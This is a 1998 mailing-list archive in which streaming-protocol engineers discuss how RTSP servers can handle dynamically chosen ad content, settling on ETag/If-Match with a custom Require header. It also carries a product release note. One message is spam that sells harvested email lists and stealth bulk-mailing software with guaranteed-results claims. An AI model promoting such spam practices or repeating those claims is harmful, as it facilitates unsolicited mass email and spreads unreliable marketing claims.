From confctrl-owner  Wed Jun 10 17:08:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA24678
	for confctrl-outgoing; Wed, 10 Jun 1998 17:08:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA24673
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jun 1998 17:08:23 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA03470
	for <confctrl@ISI.EDU>; Wed, 10 Jun 1998 17:08:22 -0700 (PDT)
Received: from cisco.com (dhcp-vm11-86-221.cisco.com [171.69.86.221]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id RAA11997; Wed, 10 Jun 1998 17:07:46 -0700 (PDT)
Message-ID: <357F1FF0.6DDB7E70@cisco.com>
Date: Wed, 10 Jun 1998 17:08:17 -0700
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: kshoop@real.com
CC: Confctrl <confctrl@ISI.EDU>
Subject: Re: Advertisements over RTSP
References: <009c01bd94bd$500708d0$1f0210ac@kshoop.dev.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Kirk Shoop wrote:
> 
> Hi, I have another thread to start.. :)
> 
> Say you have an Ad server that randomly picks content from a
> database when asked for a particular URL.  So each time the
> URL is resolved, different content is returned.
> 
> So a DESCRIBE is sent, in the response we are told that this
> URL has Video and Audio, then we send SETUP.  However this
> time it resolves to content that streams Audio only.
> Now what?
> 
> One way to allow this is to move the SessionID response to
> the DESCRIBE and thereby include DESCRIBE in a Session.
> This way the SessionID received from the DESCRIBE can be
> sent with a subsequent SETUP where it is used to maintain
> the state.  If the SETUP method is sent without a SessionID
> then a new one is allocated.  This would require that
> DESCRIBE's be followed by TEARDOWN's.
> 

After some  arguments either way, it was decided to keep DESCRIBE
stateless - ie. not allocate session ids on a DESCRIBE. The primary
argument is that DESCRIBE does not need to result in any resource
allocation - for that matter it is optional in RTSP. 

Here is another way to accomplish what you need - use HTTP GET to your
adserver to get a .sdp file, do SETUP etc. and take it from there. The
.sdp file gives you the right RTSP URL ie. every HTTP GET would give you
different RTSP URLs in random fashion(This, I believe is the current web
model).  You would never need to pass a RTSP url to your "random
resolver".  If you absolutely do not want to use HTTP, then a RTSP
DESCRIBE may return you a different RTSP URL(not highly recommended)
than the one the DESCRIBE was done on and then you would do SETUP etc.
on it. But then you would have to resolve URLS differently depending on
whether they are coming by DESCRIBE or some other message i.e "describe"
urls get resolved randomly, others do not.

What you have suggested will work for your case, but here are my
thoughts on the subject: 
The sessionID is meant to  denote/specify  the client instance of a
particular URL, not identify a piece of content(which is what is
happening, I think in what you are suggesting - the sessionID is
transgressing into the functionality space of the URL). 

Regards
Anup.

From confctrl-owner  Wed Jun 10 19:21:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA00928
	for confctrl-outgoing; Wed, 10 Jun 1998 19:21:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA00923
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jun 1998 19:21:21 -0700 (PDT)
Received: from doggate.exchange.microsoft.com (doggate.exchange.microsoft.com [131.107.88.55])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA13158
	for <confctrl@ISI.EDU>; Wed, 10 Jun 1998 19:21:20 -0700 (PDT)
Received: by doggate.exchange.microsoft.com with Internet Mail Service (5.5.2232.0)
	id <MT6VLV40>; Wed, 10 Jun 1998 19:20:52 -0700
Message-ID: <69D8143E230DD111B1D40000F8485840F40072@ED>
From: "Anders Klemets (Exchange)" <anderskl@exchange.microsoft.com>
To: "'kshoop@real.com'" <kshoop@real.com>, Confctrl <confctrl@ISI.EDU>
Subject: RE: Advertisements over RTSP
Date: Wed, 10 Jun 1998 19:20:50 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.0)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01BD94DF.8DE404A1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BD94DF.8DE404A1
Content-Type: text/plain;
	charset="windows-1252"

> Say you have an Ad server that randomly picks content from a 
> database when asked for a particular URL.  So each time the 
> URL is resolved, different content is returned.
> [...]

I brought up exactly the same problem on this list in September last year.
I am including two e-mail messages from our previous discussion as MIME
attachments.

If the confctrl list is archived somewhere you may want look in that
archive, too.
In short, the solution to the problem is to use the Etag feature in SDP and
the If-Match field in RTSP.

Anders


------_=_NextPart_000_01BD94DF.8DE404A1
Content-Type: message/rfc822
Content-Description: Re: Allocating state in RTSP DESCRIBE
Content-Location: ATT-0-E6EA94B9D000D21193F70000F8005CBE-R
	e%3A%20Allocating%20state%20in%20RTSP%20
	DESCRIBE

Message-ID: <69D8143E230DD111B1D40000F848584001A4E44C@ED>
From: anup@netscape.com
To: Anders Klemets (VXtreme)
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Allocating state in RTSP DESCRIBE
Date: Wed, 24 Sep 1997 09:13:55 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.0)
Content-Type: text/plain

Anders Klemets (VXtreme) wrote:

> I am looking for input from the group for how to solve the following
> RTSP problem:
>
> Suppose the server receives a DESCRIBE command for some presentation
> or
> media object.  The presentation description is generated dynamically
> by
> the server.  The description might be generated randomly, or it might
> depend on the time of the day, or whatever.  Any SETUP commands for
> the
> presentation URL that the server subsequently receives may have a
> meaning that is dependent on the previously generated presentation
> description.  A presentation description might have implicit state
> information, and that state might be needed later, when playing the
> streams in the presentation.  The problem is that the presentation was
>
> generated dynamically, and the the DESCRIBE command is not supposed to
>
> allocate any state on the server.
>
> So, when the server receives the SETUP and PLAY commands, it might
> need
> to know which randomly generated presentation description the client
> has
> seen.  The question is, how can this be accomplished?
>

The If-Match header(Section 12.22) accomplishes this.(Also see
corresponding etag definition in Appendix C).

One might argue that such a mechanism(ie an identifier guaranteeing the
freshness of the description) and the state signified by the session id
are accomplishing the same thing - however this is not the case. One is
the actual state of the stream(s) ie playing, stopped etc., the other is
simply a freshness identifier for the presentation itself. For eg., a
freshness identifier could remain active for a day, a session id  would
not.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (650) 937 3129
-----------------------------------------------------------------


------_=_NextPart_000_01BD94DF.8DE404A1
Content-Type: message/rfc822
Content-Description: Re: Allocating state in RTSP DESCRIBE
Content-Location: ATT-1-E7EA94B9D000D21193F70000F8005CBE-R
	e%3A%20Allocating%20state%20in%20RTSP%20
	DESCRIBE

Message-ID: <69D8143E230DD111B1D40000F848584001A4E44D@ED>
From: anup@netscape.com
To: Anders Klemets (VXtreme)
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Allocating state in RTSP DESCRIBE
Date: Wed, 24 Sep 1997 09:13:55 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.0)
Content-Type: text/plain

Anders Klemets (VXtreme) wrote:

> I am looking for input from the group for how to solve the following
> RTSP problem:
>
> Suppose the server receives a DESCRIBE command for some presentation
> or
> media object.  The presentation description is generated dynamically
> by
> the server.  The description might be generated randomly, or it might
> depend on the time of the day, or whatever.  Any SETUP commands for
> the
> presentation URL that the server subsequently receives may have a
> meaning that is dependent on the previously generated presentation
> description.  A presentation description might have implicit state
> information, and that state might be needed later, when playing the
> streams in the presentation.  The problem is that the presentation was
>
> generated dynamically, and the the DESCRIBE command is not supposed to
>
> allocate any state on the server.
>
> So, when the server receives the SETUP and PLAY commands, it might
> need
> to know which randomly generated presentation description the client
> has
> seen.  The question is, how can this be accomplished?
>

The If-Match header(Section 12.22) accomplishes this.(Also see
corresponding etag definition in Appendix C).

One might argue that such a mechanism(ie an identifier guaranteeing the
freshness of the description) and the state signified by the session id
are accomplishing the same thing - however this is not the case. One is
the actual state of the stream(s) ie playing, stopped etc., the other is
simply a freshness identifier for the presentation itself. For eg., a
freshness identifier could remain active for a day, a session id  would
not.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (650) 937 3129
-----------------------------------------------------------------


------_=_NextPart_000_01BD94DF.8DE404A1--

From confctrl-owner  Wed Jun 10 22:27:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA03049
	for confctrl-outgoing; Wed, 10 Jun 1998 22:27:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA03044
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jun 1998 22:27:15 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA21080
	for <confctrl@ISI.EDU>; Wed, 10 Jun 1998 22:27:14 -0700 (PDT)
Received: from cisco.com (sj-dial-1-124.cisco.com [171.68.180.125]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id WAA22179; Wed, 10 Jun 1998 22:26:41 -0700 (PDT)
Message-ID: <357F6AB0.AF00E3E7@cisco.com>
Date: Wed, 10 Jun 1998 22:27:12 -0700
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: "Anders Klemets (Exchange)" <anderskl@exchange.microsoft.com>
CC: "'kshoop@real.com'" <kshoop@real.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: Advertisements over RTSP
References: <69D8143E230DD111B1D40000F8485840F40072@ED>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Klemets (Exchange) wrote:
> 
> > Say you have an Ad server that randomly picks content from a
> > database when asked for a particular URL.  So each time the
> > URL is resolved, different content is returned.
> > [...]
> 
> I brought up exactly the same problem on this list in September last year.
> I am including two e-mail messages from our previous discussion as MIME
> attachments.
> 
> If the confctrl list is archived somewhere you may want look in that
> archive, too.
> In short, the solution to the problem is to use the Etag feature in SDP and
> the If-Match field in RTSP.
> 
> Anders
> 
>   

Yes, it is a very similar problem, but I did not understand it to be the
same as that mentioned below. Unless I missed something, Kirk seems to
be referring to the case where URL resolution itself is randomized. 
What either of us said or some combination should do the trick.

Thanks
Anup.
 
> Anders Klemets (VXtreme) wrote:
> 
> > I am looking for input from the group for how to solve the following
> > RTSP problem:
> >
> > Suppose the server receives a DESCRIBE command for some presentation
> > or
> > media object.  The presentation description is generated dynamically
> > by
> > the server.  The description might be generated randomly, or it might
> > depend on the time of the day, or whatever.  Any SETUP commands for
> > the
> > presentation URL that the server subsequently receives may have a
> > meaning that is dependent on the previously generated presentation
> > description.  A presentation description might have implicit state
> > information, and that state might be needed later, when playing the
> > streams in the presentation.  The problem is that the presentation was
> >
> > generated dynamically, and the the DESCRIBE command is not supposed to
> >
> > allocate any state on the server.
> >
> > So, when the server receives the SETUP and PLAY commands, it might
> > need
> > to know which randomly generated presentation description the client
> > has
> > seen.  The question is, how can this be accomplished?
> >
> 
> The If-Match header(Section 12.22) accomplishes this.(Also see
> corresponding etag definition in Appendix C).
> 
> One might argue that such a mechanism(ie an identifier guaranteeing the
> freshness of the description) and the state signified by the session id
> are accomplishing the same thing - however this is not the case. One is
> the actual state of the stream(s) ie playing, stopped etc., the other is
> simply a freshness identifier for the presentation itself. For eg., a
> freshness identifier could remain active for a day, a session id  would
> not.
> 
> --
> -----------------------------------------------------------------
>   Anup Rao
>   Member Of Technical Staff
>   Netscape Communications Corp.
>   email : anup@netscape.com         Phone : (650) 937 3129
> -----------------------------------------------------------------
> 
>                                                   ------------------------------------------------------------------------
> 
> Subject: Re: Allocating state in RTSP DESCRIBE
> Date: Wed, 24 Sep 1997 09:13:55 -0700
> From: anup@netscape.com
> To: Anders Klemets (VXtreme)
> CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
> 
> Anders Klemets (VXtreme) wrote:
> 
> > I am looking for input from the group for how to solve the following
> > RTSP problem:
> >
> > Suppose the server receives a DESCRIBE command for some presentation
> > or
> > media object.  The presentation description is generated dynamically
> > by
> > the server.  The description might be generated randomly, or it might
> > depend on the time of the day, or whatever.  Any SETUP commands for
> > the
> > presentation URL that the server subsequently receives may have a
> > meaning that is dependent on the previously generated presentation
> > description.  A presentation description might have implicit state
> > information, and that state might be needed later, when playing the
> > streams in the presentation.  The problem is that the presentation was
> >
> > generated dynamically, and the the DESCRIBE command is not supposed to
> >
> > allocate any state on the server.
> >
> > So, when the server receives the SETUP and PLAY commands, it might
> > need
> > to know which randomly generated presentation description the client
> > has
> > seen.  The question is, how can this be accomplished?
> >
> 
> The If-Match header(Section 12.22) accomplishes this.(Also see
> corresponding etag definition in Appendix C).
> 
> One might argue that such a mechanism(ie an identifier guaranteeing the
> freshness of the description) and the state signified by the session id
> are accomplishing the same thing - however this is not the case. One is
> the actual state of the stream(s) ie playing, stopped etc., the other is
> simply a freshness identifier for the presentation itself. For eg., a
> freshness identifier could remain active for a day, a session id  would
> not.
> 
> --
> -----------------------------------------------------------------
>   Anup Rao
>   Member Of Technical Staff
>   Netscape Communications Corp.
>   email : anup@netscape.com         Phone : (650) 937 3129
> -----------------------------------------------------------------

From confctrl-owner  Thu Jun 11 18:16:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA21356
	for confctrl-outgoing; Thu, 11 Jun 1998 18:16:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA21351
	for <confctrl@zephyr.isi.edu>; Thu, 11 Jun 1998 18:16:43 -0700 (PDT)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA09303
	for <confctrl@ISI.EDU>; Thu, 11 Jun 1998 18:16:42 -0700 (PDT)
Received: from kshoop (two31.dev.prognet.com) by murrow.prognet.com with SMTP id AA16279
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 11 Jun 1998 18:16:43 -0700
Reply-To: <kshoop@real.com>
From: "Kirk Shoop" <kshoop@real.com>
To: "Confctrl" <confctrl@ISI.EDU>
Subject: RE: Advertisements over RTSP
Date: Thu, 11 Jun 1998 18:18:57 -0700
Message-Id: <00b601bd95a0$126f9350$1f0210ac@kshoop.dev.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-Msmail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <357F6AB0.AF00E3E7@cisco.com>
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thank you all for the quick replies to this.  The several answers 
caused me to realize that we had not researched the problem 
sufficiently.

I agree that SessionID should not be overloaded for this purpose.  
I agree that redirection or cgi over http can circumvent this 
issue, but they do not really solve our problem.  

After looking through the HTTP spec, I think that ETag and If-Match 
are the best fit for us (Thank you Anders).  The only thing missing 
from this is the ability to control the lifetime of the state on 
the server.  We foresee situations where many DESCRIBE's are done, 
but never a SETUP, and therefore never a TEARDOWN.  We could just 
timeout the resources allocated in the DESCRIBE, but would rather 
add a header to DESCRIBE that would allow the client to _request_ 
an ETag in the response rather than always returning one.  If the 
client does not request an ETag then the server can discard the 
state immediately after the DESCRIBE is finished.

Thoughts?

Thanks,
Kirk


From confctrl-owner  Fri Jun 12 01:20:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA25097
	for confctrl-outgoing; Fri, 12 Jun 1998 01:20:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA25092
	for <confctrl@zephyr.isi.edu>; Fri, 12 Jun 1998 01:20:50 -0700 (PDT)
Received: from home.apete.nb.ca (home.apete.nb.ca [198.164.172.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA29794
	for <confctrl@isi.edu>; Fri, 12 Jun 1998 01:20:48 -0700 (PDT)
From: replies444@juno.com
Received: from [206.175.104.66] (HELO home.apete.nb.ca) by home.apete.nb.ca (Stalker SMTP Server 1.6) with SMTP id S.0000219518; Wed, 10 Jun 1998 22:19:54 +0100
Date: Sun, 14 Jun 98 02:12:06 EST
To: Friend@public.com
Subject: A Unique Email Advertisement
Message-ID: <>
Reply-To: replies444@juno.com
Comments: Authenticated sender is <replies444@juno.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

HELLO

The following information is not meant to spam or upset anyone, that is why we include
Advertisement in the subject line to give you an option to delete before you open the
message. We are a Reliable Internet Company that does full Internet Marketing. 
Whatever your needs to market your business or product, A.I.M. can help you achieve
your success. Please do not treat this as just another piece of junk mail, we are Aimed to
your success.

A.I.M. was established in 1994 and has helped many people on the
Internet market their business and products successfully.  We do not sell random bulk
email lists, nor do we advertise Adult Sites or Chain Letters.

Right now the largest form of communication is done through the Internet, and 1998 will
be  another record breaking year.  There are over 60 million people that have Internet
access world wide, and that number continues to rise at a rate of over 40,000 per month. 
The best way to market any product or service is through the Internet, and random bulk
mail is not the way to go.  You may ask, why am I sending you this ONE piece of email;
to get my information out so that others can follow the same practices of Internet
advertising.  The Internet community would benefit from direct advertising!

Now you ask what can we offer you.....

CUSTOM TARGETED EMAIL ADDRESSES
No matter what your target is, we can compile a great list for you of people or businesses
that are interested in what you offer. Say, for instance, you would like to send a newsletter
out to people interested in MLM; we can compile a list for you of people currently
involved in MLM.  If you would like a list of people looking for a business opportunity,
we can compile that list for you. You tell us your target; we will compile that list.  We can
even target your list geographically.
example...If your business is selling CD’s, and your company is based in NY; we can
gather a list of people in NY interested in CD’s.  We have a client that is involved in
MLM, who asked us to target 1000 opportunity seekers to start.  To his surprise he got 7
new people in his downline from just that one mailing.  Another client wanted to send a
letter out to birdwatchers.  We targeted 5000 birdwatchers for him; and he, also, became a
very happy client of ours. We have targeted.. investors, businesses, International
addresses,women, men, age groups, cites, states, doctors, lawyers, etc....

Some of our clients are getting results of 1-40%.  Targeted mailings start at $50 per
thousand, and we can offer you a better price at higher quantities.

Complete Pricing for Targeted Email

1000 targeted email addresses $50 for us to email $50=$100
2000 targeted email addresses $85 for us to email $85=$170
5000 targeted email addresses $250 (no charge for us to email)
10000 targeted email addresses and we mail $500
100000 targeted email addresses and we mail $1,000
1 million  guaranteed targeted email addresses and we mail $5,000
We offer a guarantee that our lists will be targeted to your topic.  We keep a master file on
all of our clients so if you order again you will never get any duplicate addresses from us

EMAILING
We can do the email for you and have all of the replies come directly to your email
address.  If you prefer to do the mailing yourself, we sell email software as well.
Here is a few:
Rapid Fire Mail Server....Turns Your Computer into a mail server $495.00 (free demo)
Stealth Mass Mailer...Sends out email at a rate of 100,000+ per hour $395.00(free demo)
Mail Pusher....The newest in Bulk Email Software (great program) $300.00 (free demo)

OTHER SERVICES OFFERED BY A.I.M.

WEBSITE MARKETING PACKAGE

We can place your website to the top of any given search engine. Our best results come
from Infoseek.
Guarantee top 10 listing.
$300.00  first month  $300.00 every month there after

COMPLETE WEB MARKETING PACKAGE

(1) Targeted Emails in the amount of 200,000 per week
(2) Posting your website to BBS (Internet Bulletin Board Systems Related to your topics)
(3)  URL links to other sites related to your topics
(3) Newsgroup Postings (1000) per month
(4)  Banner Ads to related subject searches
(5) Website Submissions to the search engines with a guaranteed 1st page placement to
Infoseek and submissions to the other top 8 as well as 400 other search engines

All of the postings, submissions, banner ad and URL advertising will be done with your
reply email address so that you have a copy of every placement and you know where your
ads are on the Internet.


Total price for complete marketing package $2500.00 per month

IF YOU have a business, product, or just want to get your information out; you have no
need to look any further.  A.I.M.  is here to help!!  

Now as you can see we are a full service company, and we can help you with any of your 
advertising needs.

Please call us toll free at 1-800-942-7913 today!


We look forward to hearing from you and are happy to answer any questions that you may
have.  Once again, we give you our guarantee that this is the only piece of email that you
receive from us. We wish you success now and in the future!

Again our toll free number is 800-942-7913
our fax # 732-367-2229

We accept...Visa/MasterCard/American Express or check by fax

Thank you






From confctrl-owner  Fri Jun 12 10:37:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA01865
	for confctrl-outgoing; Fri, 12 Jun 1998 10:37:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA01860
	for <confctrl@zephyr.isi.edu>; Fri, 12 Jun 1998 10:37:24 -0700 (PDT)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA23810
	for <confctrl@isi.edu>; Fri, 12 Jun 1998 10:37:23 -0700 (PDT)
Received: from mailgate.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id KAA20780
	for <confctrl@isi.edu>; Fri, 12 Jun 1998 10:34:17 -0700
Received: from scv1.apple.com (scv1.apple.com [17.128.100.139]) by mailgate.apple.com
 (mailgate.apple.com2.0.15) with ESMTP id <B0000677293@mailgate.apple.com>;
 Fri, 12 Jun 1998 10:34:08 -0700
Received: from [17.255.20.120] (alperi1.apple.com [17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id KAA43138;
	Fri, 12 Jun 1998 10:34:07 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020908b1a71644930d@[17.255.20.120]>
In-Reply-To: <00b601bd95a0$126f9350$1f0210ac@kshoop.dev.prognet.com>
References: <357F6AB0.AF00E3E7@cisco.com>
MIME-Version: 1.0
Date: Fri, 12 Jun 1998 10:34:02 -0700
To: kshoop@real.com, Confctrl <confctrl@ISI.EDU>
From: Alagu Periyannan <alagu@apple.com>
Subject: RE: Advertisements over RTSP
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 6:18 PM -0700 6/11/98, Kirk Shoop wrote:
>
>I agree that SessionID should not be overloaded for this purpose.
>I agree that redirection or cgi over http can circumvent this
>issue, but they do not really solve our problem.
>

Redirection is possible in RTSP also. An RTSP server can
do a redirect in response to a DESCRIBE. This redirect will
give the specific ad's URL to the client.





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From confctrl-owner  Fri Jun 12 13:27:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA05405
	for confctrl-outgoing; Fri, 12 Jun 1998 13:27:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA05392;
	Fri, 12 Jun 1998 13:27:36 -0700 (PDT)
Received: from forest.icast.com ([209.1.118.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA08292;
	Fri, 12 Jun 1998 13:27:34 -0700 (PDT)
Received: (from mail@localhost)
	by forest.icast.com (8.8.5/8.8.5) id NAA17199;
	Fri, 12 Jun 1998 13:27:33 -0700
Received: from apache.icast.com(192.168.20.10) by forest.icast.com via smap (V2.0)
	id xma017197; Fri, 12 Jun 98 13:27:25 -0700
Received: from shazamm.internal.icast.com ([192.168.20.196])
	by apache.internal.icast.com (8.8.5/8.8.5) with SMTP id NAA18483;
	Fri, 12 Jun 1998 13:27:01 -0700 (PDT)
Message-ID: <35818D4A.4823@icast.com>
Date: Fri, 12 Jun 1998 13:19:22 -0700
From: Vinay Kumar <vinay@icast.com>
Reply-To: vinay@icast.com
Organization: ICAST Corporation
X-Mailer: Mozilla 3.02 (Win95; I)
MIME-Version: 1.0
To: rem-conf@es.net, mbone@ISI.EDU
CC: mboned@network-services.uoregon.edu, confctrl@ISI.EDU
Subject: new beta release: bugs fixed: icast c:tv 3.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

[apologize for duplicates]

latest new builds are available from http://www.icast.com/evalform.html

here are the CHANGES in the 3.0 release:
- better, more consistent UI for Viewer & Guide. now there are three
seamless Guides: Live, Relay, and Recorder Guides.
- bugs fixed with un-closed streams from the Recorder, Relay and Meter
on doing a close.
- few bug fix's with the h.263 decoder dll.
- more detailed MS-Help support.

CHANGES in 2.2.1 release:
- support for FORE's AVA streamsRunner MJPEG codec in Viewer & Guide.
- more robust h.263 encoder in the Broadcaster.

thanks to everyone for submitting bug-reports, and suggestions to:
support@icast.com.

happiness.
---
 vinay
http://www.icast.com/evalform.html

From confctrl-owner  Fri Jun 12 17:27:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA09913
	for confctrl-outgoing; Fri, 12 Jun 1998 17:27:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA09908
	for <confctrl@zephyr.isi.edu>; Fri, 12 Jun 1998 17:27:53 -0700 (PDT)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA02642
	for <confctrl@ISI.EDU>; Fri, 12 Jun 1998 17:27:52 -0700 (PDT)
Received: from kshoop (two31.dev.prognet.com) by murrow.prognet.com with SMTP id AA09841
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Fri, 12 Jun 1998 17:27:53 -0700
Reply-To: <kshoop@real.com>
From: "Kirk Shoop" <kshoop@real.com>
To: "Confctrl" <confctrl@ISI.EDU>
Subject: RE: Advertisements over RTSP
Date: Fri, 12 Jun 1998 17:30:06 -0700
Message-Id: <000901bd9662$6a19d080$1f0210ac@kshoop.dev.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-Msmail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <00b601bd95a0$126f9350$1f0210ac@kshoop.dev.prognet.com>
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2106.4
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

After some more research, we think we can solve the state-timeout problem in
our server with the Require header.

Our client and server would do this..

C->S:	DESCRIBE rtsp://server.com/foo/bar/baz.rm RTSP/1.0
	CSeq: 260
	Require: retain-entity-for-setup

S->C:	RTSP/1.0 OK
	CSeq: 260
	ETag: EEE..

C->S:	SETUP rtsp://server.com/foo/bar/baz.rm RTSP/1.0
	CSeq: 261
	If-Match: EEE..

S->C:	RTSP/1.0 200 OK
	CSeq: 261


Our client and a non-compatible server would do this..

C->S:	DESCRIBE rtsp://server.com/foo/bar/baz.rm RTSP/1.0
	CSeq: 302
	Require: retain-entity-for-setup

S->C:	RTSP/1.0 551 Option not supported
	CSeq: 302
	Unsupported: retain-entity-for-setup

C->S:	DESCRIBE rtsp://server.com/foo/bar/baz.rm RTSP/1.0
	CSeq: 303

S->C:	RTSP/1.0 200 OK
	CSeq: 303

C->S:	SETUP rtsp://server.com/foo/bar/baz.rm RTSP/1.0
	CSeq: 304

S->C:	RTSP/1.0 200 OK
	CSeq: 304

A non-compatible client and our server would work normally. If
retain-entity-for-setup is not specified, then our server will
free the resources used by the DESCRIBE.

This means that our server can serve dynamic content to compatible
clients and still inter-operate with other client and server
implementations.

Thank you all for your help,

Kirk

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Kirk Shoop
> Sent: Thursday, June 11, 1998 6:19 PM
> To: Confctrl
> Subject: RE: Advertisements over RTSP
>
>
> Thank you all for the quick replies to this.  The several answers
> caused me to realize that we had not researched the problem
> sufficiently.
>
> I agree that SessionID should not be overloaded for this purpose.
> I agree that redirection or cgi over http can circumvent this
> issue, but they do not really solve our problem.
>
> After looking through the HTTP spec, I think that ETag and If-Match
> are the best fit for us (Thank you Anders).  The only thing missing
> from this is the ability to control the lifetime of the state on
> the server.  We foresee situations where many DESCRIBE's are done,
> but never a SETUP, and therefore never a TEARDOWN.  We could just
> timeout the resources allocated in the DESCRIBE, but would rather
> add a header to DESCRIBE that would allow the client to _request_
> an ETag in the response rather than always returning one.  If the
> client does not request an ETag then the server can discard the
> state immediately after the DESCRIBE is finished.
>
> Thoughts?
>
> Thanks,
> Kirk
>


From confctrl-owner  Mon Jun 15 18:47:08 1998
Return-Path: <owner-confctrl>
